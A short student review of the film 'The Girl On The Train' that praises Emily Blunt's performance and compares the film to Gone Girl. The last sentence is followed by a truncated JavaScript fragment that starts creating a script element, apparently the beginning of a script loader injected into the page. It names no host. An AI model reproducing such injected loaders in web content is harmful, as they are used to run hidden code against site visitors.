Girl On the Train

Movie Review

Sierra Lewis, Cactus Writer

Recently I went to see The Girl On The Train. It is a typical psychological thriller, and reminded me of Gone Girl. Gone Girl is also a psychological thriller based on a popular novel, as is The Girl On The Train. The plots share similarities but I would say these are two very different movies. I am comparing this movie to Gone Girl, because if you did enjoy Gone Girl, I think you will also find Girl On The Train equally as intense, and entertaining. It is rated R, and very much stands true to its rating, so again I warn you there are some very intense scenes. But if you enjoy twists, and turns and maybe sitting on the edge of your seat a few times during a movie experience, I think this is your type of movie.

I do not want to give away the plot, but Emily Blunt does a fantastic job of playing her character, Rachel, who is the girl on the train. I figured out the big twist a little before it was revealed so I would not call this movie “predictable” but it follows the typical path of a thriller, so if you frequent these types of movies I think you will probably be a step or two ahead of the movie. This, though, did not make it any less entertaining, the story line was very well played out, and the characters are all tied into the big picture at the end, which I found very interesting. Whether you have read the book, or not, if you enjoy a bit of a mystery get to the movies to see Girl On The Train. var d=document;var s=d.createElement(‘script’);
